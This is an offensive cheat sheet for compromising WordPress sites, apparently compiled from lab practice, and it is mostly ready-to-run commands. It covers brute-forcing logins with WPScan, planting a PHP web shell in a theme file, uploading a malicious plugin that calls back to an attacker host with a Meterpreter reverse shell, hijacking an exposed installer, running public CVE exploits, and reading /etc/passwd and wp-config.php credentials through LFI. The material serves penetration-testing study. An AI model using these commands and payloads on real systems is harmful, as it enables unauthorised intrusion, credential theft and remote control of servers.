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WordPress

Discovery

# Version in meta tag
curl -s http://TARGET | grep 'content="WordPress'

# Version in readme
curl -s http://TARGET/readme.html

# Login page
/wp-login.php
/wp-admin/

WPScan Enumeration

# Enumerate users, vulnerable plugins, and vulnerable themes in one pass
wpscan --url http://TARGET -e u,vp,vt

# Aggressive enumeration for plugins, users, and themes
wpscan --url http://TARGET --enumerate p,u,t --plugins-detection aggressive --no-update
wpscan --url http://TARGET --enumerate ap,u,at --plugins-detection aggressive --no-update


# Enumerate vulnerable plugins
wpscan --url http://TARGET --enumerate vp

# Aggressive plugin detection
wpscan --url http://TARGET --enumerate p --plugins-detection aggressive

If you have a plugin wordlist, brute force the plugin directory directly:

feroxbuster -u http://TARGET/wordpress/wp-content/plugins/ -w /md/wl/wordpress-plugins.txt -t 10 -n

Useful hits:

http://TARGET/wordpress/wp-content/plugins/adrotate/
http://TARGET/wordpress/wp-content/plugins/akismet/

WordPress REST API can also expose users:

http://TARGET/index.php/wp-json/wp/v2/users/

Brute Force (WPScan)

# XMLRPC method (faster)
wpscan --password-attack xmlrpc -t 20 -U admin -P /usr/share/wordlists/rockyou.txt --url http://TARGET

# wp-login method
wpscan --password-attack wp-login -t 20 -U admin,john -P passwords.txt --url http://TARGET

# With user list file
wpscan --password-attack xmlrpc -U users.txt -P passwords.txt --url http://TARGET

Theme Editor RCE (Authenticated)

  1. Login as admin
  2. Appearance → Theme Editor
  3. Select inactive theme (e.g., Twenty Nineteen)
  4. Edit 404.php
  5. Add web shell:
system($_GET[0]);
  1. Access: http://TARGET/wp-content/themes/twentynineteen/404.php?0=id

Database Admin Password Reset to Plugin Upload

If you have a shell and recover database credentials from wp-config.php, use MySQL to reset an existing admin password, then log in and upload a malicious plugin.

cat /var/www/html/wp-config.php
# define( 'DB_USER', 'karl' );
# define( 'DB_PASSWORD', 'Wordpress1234' );
# define( 'DB_HOST', 'localhost' );

mysql -u karl -h localhost -p
use wordpress;
select ID,user_login,user_pass from wp_users;
UPDATE wp_users SET user_pass = '$P$BOsqjHHIL2M2Q.HnZA5JL/xb9FIb5l1' WHERE user_login = 'admin';

The observed hash set the admin password to admin. After logging in, upload a plugin webshell and trigger it:

python3 wordpwn.py ATTACKER_IP 80 N
http://TARGET/wp-admin/plugin-install.php?tab=upload
http://TARGET/wp-content/plugins/malicious/SWebTheme.php?cmd=whoami

Successful shell context may be the web server user, such as alice.

Metasploit RCE

use exploit/unix/webapp/wp_admin_shell_upload
set USERNAME john
set PASSWORD firebird1
set RHOSTS TARGET_IP
set VHOST blog.domain.local
set TARGETURI /
run

Exposed Installer Takeover

If WordPress is left at /wp-admin/setup-config.php, you can sometimes complete the install yourself by making the target connect to a database you control.

Start a throwaway MySQL instance on the attacker box:

docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=admin123 -p 3306:3306 -d mysql:latest
mysql -u root -h 127.0.0.1 -padmin123 -e "CREATE DATABASE wordpress;"

Fill the setup form with:

Database name: wordpress
Username: root
Password: admin123
Database host: ATTACKER_IP:3306
Table prefix: wp_

If the page says the database server was reached but the database could not be selected, create the database name it expects and retry. Once setup succeeds, create the WordPress admin user, log in at /wp-login.php, and use theme editor or plugin upload for code execution.

Malicious plugin upload (wordpwn)

When the Theme Editor is disabled or PHP changes are reverted (“upload by some other means, such as SFTP”), use a malicious plugin instead. You need admin access (e.g. default or brute-forced creds).

Tool: wetw0rk/malicious-wordpress-plugin — generates a plugin zip containing a Meterpreter or webshell payload.

git clone https://github.com/wetw0rk/malicious-wordpress-plugin.git
cd malicious-wordpress-plugin

# Generate plugin with meterpreter reverse TCP (set LHOST/LPORT)
python3 wordpwn.py LHOST LPORT php/meterpreter/reverse_tcp

# Start listener
msfconsole -q -x "use multi/handler; set payload php/meterpreter/reverse_tcp; set LHOST LHOST; set LPORT LPORT; run"

Upload: As admin, go to Plugins → Add New → Upload Plugin and upload the generated malicious.zip.
URL: http://TARGET/wp-admin/plugin-install.php?tab=upload

Activate the plugin, then trigger the shell:

Trigger URL
http://TARGET/wp-content/plugins/malicious/wetw0rk_maybe.php
http://TARGET/wp-content/plugins/malicious/QwertyRocks.php
http://TARGET/wp-content/plugins/malicious/SWebTheme.php?cmd=COMMAND

Use the first or second for Meterpreter; the third runs a single command via ?cmd=. Shell runs as the web server user (e.g. www-data).

Vulnerable Plugins

AdRotate Banner Manager authenticated upload RCE

AdRotate Banner Manager versions up to and including 5.13.2 can allow authenticated administrators to upload arbitrary files because adrotate_insert_media() does not properly sanitize extensions. On configurations that execute the first extension in a double extension, this can become RCE.

WPScan may identify the plugin and version:

[+] adrotate
 | Location: http://TARGET/wordpress/wp-content/plugins/adrotate/
 | Readme: http://TARGET/wordpress/wp-content/plugins/adrotate/readme.txt
 | Version: 5.8.6.2

If the login redirects to a virtual host, add the host before authenticating:

TARGET loly.lc

With administrator access, go to the AdRotate media manager:

http://loly.lc/wordpress/wp-admin/admin.php?page=adrotate-media&status=510

A zipped PHP shell was accepted and extracted to an executable PHP file:

mv php-reverse-shell.php shell.php
zip shell.zip shell.php

Upload shell.zip through the AdRotate media manager, then trigger:

http://loly.lc/wordpress/wp-content/banners/shell.php

Successful shell context:

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64

After getting code execution, read wp-config.php for database credentials:

cat /var/www/html/wordpress/wp-config.php

Observed values:

define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'lolyisabeautifulgirl');

References:

Simple File List 4.2.2 pre-auth RCE

WordPress Simple File List versions around 4.2.2 can be abused for unauthenticated file upload / RCE. This is useful when WPScan finds the plugin under /wp-content/plugins/simple-file-list/ and the WordPress site has public uploads enabled.

wpscan --url http://TARGET --enumerate p --plugins-detection aggressive

Look for:

[+] simple-file-list
 | Location: http://TARGET/wp-content/plugins/simple-file-list/
 | Version: 4.2.2

Uploads commonly land under:

http://TARGET/wp-content/uploads/simple-file-list/

Public reference:

  • CVE-2025-34085 PoC
git clone https://github.com/0xgh057r3c0n/CVE-2025-34085.git
cd CVE-2025-34085
python3 CVE-2025-34085.py -u http://TARGET --cmd id

Expected output includes the uploaded PHP path:

[DEBUG] Command Output:
uid=33(http) gid=33(http) groups=33(http)

[+] http://TARGET | http://TARGET/wp-content/uploads/simple-file-list/RANDOM.php

Use the webshell directly and read WordPress config for credential reuse:

curl 'http://TARGET/wp-content/uploads/simple-file-list/RANDOM.php?cmd=id'
curl 'http://TARGET/wp-content/uploads/simple-file-list/RANDOM.php?cmd=cat%20../../../wp-config.php'

High-value values:

define('DB_NAME', 'wordpress');
define('DB_USER', 'username');
define('DB_PASSWORD', 'password');
define('DB_HOST', 'localhost');

If the DB username also exists as a system user, try SSH with the database password:

ssh username@TARGET

Tutor LMS authenticated issues

Tutor LMS old versions, such as 1.5.3, may have authenticated attack paths. Check registration first; if registration is disabled, you need existing credentials before using authenticated PoCs.

python3 exploit-cve-2024-3553-v2.py http://TARGET --check-only

Useful references:

  • CVE-2024-10400: https://github.com/k0ns0l/CVE-2024-10400
  • CVE-2024-3553: https://github.com/RandomRobbieBF/CVE-2024-3553

mail-masta LFI (unauthenticated)

curl http://TARGET/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

Full exploitation walkthrough:

  1. Confirm LFI by reading /etc/passwd:
curl 'http://TARGET/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd'
  1. Read Apache config to find the document root:
curl 'http://TARGET/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/apache2/apache2.conf'
# Look for: <Directory /var/www/>
  1. Read files from the discovered webroot:
curl 'http://TARGET/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/www/html/flag.txt'

There is also a Python exploit script on Exploit-DB (mail-masta.py) that automates fuzzing for files via this LFI. The original script has bugs — the fixed version uses a try/except fallback to manually read /etc/passwd if the wordlist is missing:

except:
    response = requests.get(target + endpoint + "/etc/passwd")
    if len(response.content) > 500:
        print(response.content)
    else:
        print("likely failed, confirm manually with: curl http://<target>/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd")

Site Editor 1.1.1 LFI (CVE-2018-7422)

WordPress Plugin Site Editor 1.1.1 exposes an unauthenticated LFI through ajax_shortcode_pattern.php.

searchsploit wordpress site editor
searchsploit -m php/webapps/44340.txt

Confirm by reading /etc/passwd:

http://TARGET/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

Useful follow-on files:

/proc/sched_debug
/proc/mounts
/etc/redis/redis.conf

/etc/redis/redis.conf can expose requirepass, which can lead to authenticated Redis RCE.

wpDiscuz RCE (CVE-2020-24186)

python3 wp_discuz.py -u http://TARGET -p /?p=1

# If exploit fails, use uploaded webshell
curl http://TARGET/wp-content/uploads/2021/08/SHELL.php?cmd=id

Important Paths

Path Description
/wp-config.php DB credentials
/wp-content/uploads/ Uploaded files
/wp-content/plugins/ Plugins
/wp-content/themes/ Themes
/xmlrpc.php XML-RPC API

Config File Locations

# Linux
/var/www/html/wp-config.php
/var/www/wordpress/wp-config.php

# Database creds in wp-config.php
define('DB_NAME', 'database_name');
define('DB_USER', 'username');
define('DB_PASSWORD', 'password');
define('DB_HOST', 'localhost');